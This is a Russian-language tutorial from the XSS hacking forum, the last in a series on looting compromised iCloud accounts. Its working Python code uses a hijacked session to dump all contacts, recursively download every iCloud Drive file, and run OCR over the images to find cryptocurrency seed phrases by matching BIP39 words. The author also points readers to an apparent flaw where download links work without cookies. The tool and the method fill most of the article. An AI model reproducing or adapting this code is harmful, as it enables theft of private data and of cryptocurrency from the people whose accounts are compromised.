• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Выкачиваем все файлы с Icloud Drive. Работаем с картинками. Собираем с них сидки посредством OCR. Собираем контакты.

chiefchain

ripper
КИДАЛА
Регистрация
19.08.2024
Сообщения
36
Реакции
96
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован

Написано - chiefchainer

Источник - xss.pro


Введение

Всем снова здрасьте, совсем скоро уже разборка Icloud'a подойдет к концу, мы успели разобрать заметки, почту. Остается дело за малым - облако с файлами, контакты, и медиа-контент. В этой статье подробно взглянем на айклаудовский драйв, выкачаем оттуда все, что можно, а так же будем работать с картинками, все в тех же целях найти сидку. И бонусом, а точнее в самом начале разберемся с контактами, ибо там нет никакой нагрузки, кроме того, чтоб найти нужный нам запрос. Не будет декрипта как в заметках, там все лежит в открытом виде. По этому, предлагаю сразу же начать с легкого, а закончить уже выгрузкой файлов с их последующей обработкой. Так же, тем кто выбрал эту статью первой для прочтения, советую ознакомиться для начала с предыдущими, мы оттуда будем поддергивать какую-либо информацию, ведь уже рассмотрели её в рамках других возможностей айклауда.
Дампим письма с Icloud. Регулярки. Поиск сид-фраз cреди писем.
Cобираем заметки с Icloud. Криптография и реверс шифра на этих самых заметках.
Так же не забываем про обратную связь в статье, но теперь уж точно пора начинать.

Собираем контакты

Как говорил, начнем сразу с контактов. Для этого залетаем на
Код:
icloud.com/contacts/
уже как к себе домой, предварительно включив запись запросов, и сразу же наблюдаем запрос, который спокойно отдает нам все контакты в одном JSON, без всяких там шифрований и других штук, которые мы могли видеть раньше. Можете так же искать как в предыдущих статьях поиск по CTRL+F через кейворды, которые встречаются в контактах (номер телефона, название контакта, всё что угодно), чтоб точно попасть в нужный запрос.
1736056546394.png

Тут хочу рассказать еще об одной возможности ускорения написания кода, понятное дело, что мы можем начать копировать URL с эндпоинтом, самостоятельно начать наполнять пейлод, но есть метод побыстрее. Называется он конвертор curl to python, на самом деле тут не только Python, можно конвертировать и в любые другие языки, их куча.
1736056672695.png

Такая штука, для того, чтоб получить сразу готовый код по нашему запросу, то мы возвращаемся в инструменты разработчика, тыкаем пкм'ом по нужному нам запрос, и копируем его как CURL (BASH), именно Bash, в случае если вы скопируете cmd, то ничего не выйдет.

1736056772992.png

Вставляем все это дело в наш конвертор, и на выходе получаем почти готовый код, в котором нам надо будет убрать кукисы, добавить поддержку работы с сессией, а так же парс JSON и его сохранение.
1736056936534.png

Окей, сейчас надо сразу же закрыть момент с контактами и переплывать к основной нагрузке статьи. Так как у нас всё модульно, то будем и дальше поддерживать такую структуру дампера. Мы будем сохранять FirstName контакта и его номер телефона в случае если он присутствует, в ином случае просто скипать. Код функции прикладываю ниже.
Код:
import requests
import os
from get_dsid import get_dsid

def get_contacts(session, folder):
    headers = {
        'accept': '*/*',
        'accept-language': 'ru-RU,ru;q=0.9',
        'content-type': 'text/plain',
        'origin': 'https://www.icloud.com',
        'priority': 'u=1, i',
        'referer': 'https://www.icloud.com/',
        'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
    }

    params = {
        'clientBuildNumber': '2426Project37',
        'clientId': '837f3e02-cc3b-4c49-a872-363915584832',
        'clientMasteringNumber': '2426B25',
        'clientVersion': '2.1',
        'dsid': get_dsid(),
        'locale': 'ru_RU',
        'order': 'first,last',
    }

    response = session.get('https://p55-contactsws.icloud.com/co/startup', params=params, headers=headers)
    data = response.json()
    phones_and_names = []
    for contact in data['contacts']:
        try:
            if 'phones' in contact:
                for phone in contact['phones']:
                    phones_and_names.append((contact['firstName'], phone['field']))
        except:
            pass
    for name, phone in phones_and_names:
        filename = os.path.join(folder, f"contacts.txt")
        with open(filename, 'a', encoding='utf-8') as file:
            file.write(f'Name - {name} Phone number - {phone}\n')
Такая картина у нас выходит, для того чтоб проверить работоспособность подвязываем этот модуль в главный скрипт, где мы всё стартуем. Не рассказывал как это делается раньше, по этому думаю самое время поведать об этом сейчас. Помним, что у нас всё по модулям, каждый раздел Icloud - отдельный файл, где только свое. Функция по парсу контактов в данном случае лишь записывает результаты, ничего не возвращает оно нам впринципе и не нужно, но при желании так же можно добавить и возврат ответа, который будет гласить о том, что получилось, что нет. То есть нам надо импортировать эту функцию в наш главный start.py и передать её туда, делается это банально и просто. Файл запуска и файл, где лежит заветная функция должны располагаться рядом с друг дружкой.
1736058093525.png

Мы заходим в start.py, добавляем импорт нашей функции, добавляем её вызов, и бинго. Всё, теперь подвязали и контакты в наш дампер. Теперь остается лишь проверить, всё ли работает так как надо, запускаем нашу выгрузку, проверяем все ли сохранилось как надо.
1736058332781.png

Бамц, всё верно. Теперь можно забыть про контакты, пора переходить к облаку айклауда и смотреть, что у нас там.

Облако Айклауда, привет!

Теперь заходим уже на
Код:
icloud.com/iclouddrive/
, изначально он закидывает нас 'Недавние'. Нам это не особо интересно, нам нужно увидеть каждую папку, каждый файл, и разобраться с тем и как кого куда качать. По этому выходим из 'недавних' и летим в 'Обзор', где увидим структуру хранения файлов человека. Для начала надо понять, каким образом айклауд отслеживает путь, в котором мы находимся. Для этого так же летим в запросы и пытаемся найти этот момент, где эпл отображает нам файлы так, как мы видим в 'обзор', то есть с самого начала пути. Для облегчения себе поиска таких запросов, предлагаю определиться с кейвордами. Для этого тыкаемся в любой файл пкм'ом и переходим в исследовать код. И что мы видим?
1736058751890.png

Мы видим очень похожий идентификатор как в заметках, правда тут он ни чем не накрыт сверху, по этому мы копируем значение data-id, и организуем поиск нужного запроса по этому кейворду. Загружаем его в поиск, обновляем страницу и наблюдаем следующую картину.
1736059021124.png

Меня с ходу интересуют два последних запроса, своим эндпоинтом они прям кричат, что схвати меня. Пойдем с конца. В ответе мы получаем следующую информацию о файлах
1736059213837.png

С учетом того, что я заранее знаю где находится этот файл (а именно просто лежит в 'обзоре', не в какой либо папке), то это позволяет нам понять, что наш маршрут автоматизации будет начинаться всегда с "FOLDER::com.apple.CloudDocs::root", этот параметр мы видим в 'parentId', так же еще парочка по типу name, extension, и docwsid, это идентификатор файла, по которому мы скорее всего будем качать файл, но для начала еще посмотрим, какие данные мы отправили, чтоб получить этот ответ.
1736059367321.png

Просто путь и ничего лишнего. Это радует, но так же удивляет опять отсутствие параметров, которые были в других сервисах Icloud, к примеру это излюбленный dsid, или же информация о том каким клиентом пользуется человек. Хорошо, запоминаем, что начало начал - это root. Но не стоит останавливаться на этом и бежать сразу к скачке, мы не торопимся, и давайте сравним drivewsid на двух верхних скриншотах. Там ведь еще можно создавать папки, следовательно нам надо будет рекурсивно еще скакать по папкам, и извлекать еще из них файлы, окей. Разница заключается в начале, когда папка у нас начинается с FOLDER, а при файле, просто по-английский FILE. Это нам точно так же пригодится, чтоб улавливать разницу, и делать выборку, что нам творить. Впринципе, на этом этапе предлагаю приступить к коду, который будет у нас рекурсивно гулять по папкам, и собирать данные, а в случае если это файл, то будем вызывать функцию на скачку, пока её не будет, но просто обзовем, разбор скачки будет после того как утвердим момент с путями и получением идентификаторов файлов.
Код:
import requests
import json
import os

def get_files(session, folder):
    headers = {
        'accept': '*/*',
        'accept-language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
        'content-type': 'text/plain',
        'origin': 'https://www.icloud.com',
        'priority': 'u=1, i',
        'referer': 'https://www.icloud.com/',
        'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
    }

    params = {
        'appIdentifier': 'iclouddrive',
    }

    data = '[{"drivewsid":"FOLDER::com.apple.CloudDocs::root","partialData":true,"includeHierarchy":true}]'
    try:
        response = session.post(
            'https://p55-drivews.icloud.com/retrieveItemDetailsInFolders',
            params=params,
            headers=headers,
            data=data,
        ).text
        data = json.loads(response)
        drivewsids = [item['drivewsid'] for item in data[0]['items']]
        download_recursive(drivewsids, session, headers, folder)
    except:
        pass

def download_recursive(drivewsids, session, headers, folder):
    for drivewsid in drivewsids:
        if drivewsid.startswith('FILE::com.apple.CloudDocs::'):
            identifier = drivewsid.split('FILE::com.apple.CloudDocs::')[1]
            download_file(identifier, session, headers, folder)
        elif drivewsid.startswith('FOLDER::com.apple.CloudDocs::'):
            folder_identifier = drivewsid.split('FOLDER::com.apple.CloudDocs::')[1]
            download_files_in_folder(folder_identifier, session, headers, folder)

def download_files_in_folder(folder_identifier, session, headers, folder):
    url = "https://p55-drivews.icloud.com/retrieveItemDetailsInFolders?appIdentifier=iclouddrive"
    data = f'[{{"drivewsid":"FOLDER::com.apple.CloudDocs::{folder_identifier}","partialData":true,"includeHierarchy":true}}]'
    try:
        response = session.post(url, data=data, headers=headers).text
        data = json.loads(response)
        if data and len(data) > 0 and 'items' in data[0]:
            drivewsids = [item['drivewsid'] for item in data[0]['items']]
            download_recursive(drivewsids, session, headers, folder)
        else:
            pass
    except:
        pass
Немного разъяснений, первоначальной функцией, которую мы будем вызывать является get_files, которая после уже вызывает и все остальные. В get_files, мы получаем все папки и файлы, которые лежат у нас по главному пути, после отправляем их в download_recursive, где мы уже будем определять, что с этим делать качать или дальше скакать по папкам. В случае если это папка, то мы вызываем функцию download_files_in_folder, где используется точно такой же запрос как и в get_files, и мы поступаем абсолютно аналогично и отправляем все данные, которые хранятся в этой папке в функцию download_recursive. И таким образом рано или поздно наш путь рано или поздно преломится, тем, что будут либо файлы отсутствовать, либо папки. Это мы так же проверяем в функции где рассматриваем отдельные папки, а конкретно 'items' in data[0], если там ничего не будет, то мы просто скидываем эту функцию и ничего не произойдет. Теперь остается дело уже за малым, надо понять как качать эти самые файлы, помним, что у нас у каждого файла есть идентификатор, но надо найти запрос, который выгружает, для этого просто пытаемся скачать любой файл из нашего айклауда и отловить этот запрос. Тут уже эпл ничего не скрывает, и спокойно дает нам кнопочку.
1736060278916.png

Загружаем копию, наблюдаем какой запрос у нас отвечает за это. И это batch, теперь взглянем на то, какие параметры мы должны ему отправить, чтоб получить заветный файл.
1736060330349.png

Document_id - это как раз таки и есть наш идентификатор, теперь взглянем на ответ, который мы получили. А token, да, выглядит устрашающе, но никто не запрещает нам экспериментировать, по этому когда мы перейдем к написанию функции для скачки, обязательно вернемся к заветному токену.
1736060502316.png

Бамц, в ответе мы получаем ссылку на скачку файла, и еще куча других данных, которые нас не интересуют. Попробуем скачать для начала через браузер наш файл по полученной ссылке, и бинго, всё выходит как надо.
1736060633846.png

Не понимаю почему, но мне стало интересно, а что если попробовать скачать по той же ссылке, но без нужных кукисов, просто с голой сессией. И случилось чудо, у меня так же получилось скачать и без нужных значений, на самом деле это вопрос безопасности, ведь рано или поздно кто-то знающий доберется до этой штуки, и возможно это еще самая настоящая 'бага', но не стоит на этом зацикливаться. Задача все же другая, но знатоки-люди, если вам интересно, потыкайтесь, если, что я готов поделиться своими наработками по этому поводу, уведомите меня, пожалуйста, если займетесь и найдете что-то стоящее. Всё, теперь точно возвращаемся к смыслу статьи. Получается у нас следующий маршрут, что мы отправляем в запросе идентификатор файла, затем достаем url из ответа и сохраняем уже файл, полученный с этой ссылочки. Допишем эту функцию, подключим модуль драйва к нашему дамперу, и можем переходить к следующему этапу. Так, а что у нас с токеном? Токен пока крайне бесполезное занятие, эплу настолько насрать на него, что он сожрет все что угодно, и точно так же отдаст ссылку, зачем этот параметр был добавлен, чёрт его знает, какая его нагрузка, тоже без понятия. Это как небольшое напутствие, что всегда стоит экспериментировать с параметрами, может на бэке все настолько страшно и ужасно, что там даже это не проверяется, мы можем указать всё, что угодно заместо значения параметра, или вовсе убрать его.
Код:
def download_file(identifier, session, headers, folder):
    url = "https://p55-docws.icloud.com/ws/com.apple.CloudDocs/download/batch?token=xss&appIdentifier=iclouddrive"
    data = f'[{{"document_id":"{identifier}"}}]'
    try:
        response = session.post(url, data=data, headers=headers).text
        data = json.loads(response)
        if data and len(data) > 0 and 'data_token' in data[0]:
            url = data[0]['data_token']['url']
            response = requests.get(url, stream=True)
            if response.status_code == 200:
                filename = url.split('/')[-1].split('?')[0]
                filename = os.path.join(folder, f"{filename}")
                with open(filename, 'wb') as f:
                    for chunk in response.iter_content(chunk_size=8192):
                        f.write(chunk)
        else:
            pass
    except Exception as e:
        pass
По итогу мы получаем следующий код, на вход мы получаем идентификатор файла, после отправляем запрос на получение ссылки на скачку, а дальше уже немного распаршиваем сам url, чтоб получить точное название файла как оно есть, и сохраняем через запись байтов. Как видите даже в коде я оставил такую хрень, что качаем мы эти файлы без кукисов, хедеров, а просто стандартным запросом, где изначально стоит User-Agent из разряда python-requests (не помню как точно, но что-то там похожее =) ). И подключаем наш модуль к дамперу, и пора проверять качает ли он как надо. Стоит сразу подметить, что мы не сохраняем ту структуру, которая была в самом облаке, все файлы качаются рядом с друг дружкой. Теперь запускаем и смотрим.
1736065749180.png

Всё качается как нужно. Прекрасно и великолепно. Теперь пора вернуться к второй теме статьи, а именно OCR распознавание, по этому сейчас впихну немножко теории в вас.

Считываем сидки с картинок. OCR.

OCR a.k.a optical character recognition или же просто по нашему, по-русски оптическое распознавание символов - это технология, которая преобразовывает изображения, содержащие текст (например, картинки, или pdf-файлы), в редактируемый и машиночитаемый текст. Другими словами, OCR "читает" текст с изображения и переводит его в текстовый формат. Хорошо, а как это работает? OCR работает пошагово, начиная с предобработки изображения. На этом этапе система улучшает качество изображения, чтобы текст был более четким: устраняет шумы, корректирует яркость и контраст, а также выравнивает текст, если он был снят под углом. После этого переходит к распознаванию символов, анализируя изображение и идентифицируя отдельные символы, такие как буквы, цифры и знаки препинания. На завершающем этапе, постобработки, проверяет распознанный текст на наличие ошибок, исправляет опечатки и форматирует его для дальнейшего использования.
1736066028541.png

Так как мы работаем в рамках Python, то предлагаю использовать сразу готовые решения, которые там есть. В нашем случае подойдет PyTesseract, поддерживает кучу языков, и является одной из мощных. Мы будем использовать только английский язык, ведь работаем в рамках сидок. Для начала попробуем протестировать на простом скриншоте где будет лежать только сидка и всё, вот такая вот.
1736066324184.png

Сам скрипт не особо тяжел в разработке, все лежит банально и на самом верху. Прикладываю код чуть пониже.
Код:
from PIL import Image
import pytesseract

pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe' 
image_path = 'f.png'
image = Image.open(image_path)
text = pytesseract.image_to_string(image, lang='eng')
print(text)
Результаты тоже вполне хороши, мы четко получили сидку и еще пару информации про время, но и немного выдумки про Ww.
1736066475054.png

А что если попробовать взять более разбросанную картинку? К примеру вот такую, где будет еще куча другого текста и вполне легко можно запутаться в случае с OCR.
1736066559689.png

И результаты опять неплохи.
1736066585545.png

Теперь думаю пора переходить уже к части автоматизации, мы будем считывать все картинки Jpg, png с указанной директории где будут файлы с облака айклауда, после чего переводить их в текст и отправлять в другую функцию, которую мы писали ранее в первой статьей(я рекомендую её прочитать все же чтоб было понятней). Она у нас будет отвечать за оценку вероятности того что это сидка.
Код:
from PIL import Image
import pytesseract
import os
from seed_phrase_search import check_bip39_words
pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'

def extract_text_from_image(image_path):
    try:
        image = Image.open(image_path)
        text = pytesseract.image_to_string(image, lang='eng')
        return text
    except Exception as e:
        return None

def process_directory(directory):
    for root, _, files in os.walk(directory):
        for file in files:
            if file.lower().endswith(('.jpg', '.png')):
                file_path = os.path.join(root, file)
                text = extract_text_from_image(file_path)
                if text:
                    print(f"Текст из файла {file_path}:\n{text}\nВероятность - {check_bip39_words(text)}")

directory_path = r'C:\Users\Admin\Desktop\icloud-dumper\2025-01-05_sd\drives'

process_directory(directory_path)
Процесс тут вполне ясен и понятен, рекурсивно гуляем по указанной директории, выжимаем текст, на выходе получаем вероятность. Для того чтоб напомнить, что это за функция такая, то вот она снова тут.
Код:
def check_bip39_words(text_content):
    words = re.findall(r'\b\w+\b', text_content)
    bip39_words_found = [word for word in words if word in BIP39_WORDLIST]
    total_words = len(words)
    bip39_count = len(bip39_words_found)

    if total_words > 0:
        probability = (bip39_count / total_words) * 100
        return probability, bip39_words_found
    else:
        return 0, []
1736067064364.png

Результаты у нас такие. Стоит уже подходить к заключению.

Заключение

Рад, что вы вновь дочитали статью до конца. Приложу в этой статьей полный код сразу по всем модулям(контакты, облако, почта, заметки). Медиа-контент, то есть фотографии, видео у меня нет желания разбирать, там нет чего-то прям удивительного, OCR уже рассмотрели в рамках этой статьи. Да и плюсом, что-то у меня не совсем вышло правильно сделать выгрузку Media (выкачивается не все, мотивации чинить пока нет), желающие могут разобраться и сделать под себя. Еще пару идей, которые можно добавить здесь так это подключить какую-нибудь ИИ для распознавания сид-фраз, мне кажется это достаточно серьезно и как минимум точно лучше метода, который предложил я, но конечно и дороже(по сравнению с бесплатно, хотя можно попробовать обучить свою модельку заточенную под это), так же добавить автоматический поиск сидок в start.py, много чего еще добавить можно, так же и восстановить исходную структуру файлов, которая была в облаке, полет мыслей может быть безумно огромен =). Думаю на этой статьей закончится разбор айклауда, но все так же жду чьих-то мыслей по поводу того, что файлы можно скачивать без нужных куков, может тут есть какое-либо развитие. Надеюсь, что-то выдернули для себя, узнали что-то новое за эти три статьи. Предлагайте так же ваши идеи, что было бы интересно пощупать, потрогать в рамках разбора как оно работает, что делать и куда плясать. С нетерпением жду вашей обратной связи.
 

Вложения

  • get_dsid.zip
    17.1 КБ · Просмотры: 27
а что если попробовать скачать по той же ссылке, но без нужных кукисов, просто с голой сессией
Вот тут по подробнее, хотелось бы узнать время жизни ссылки
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх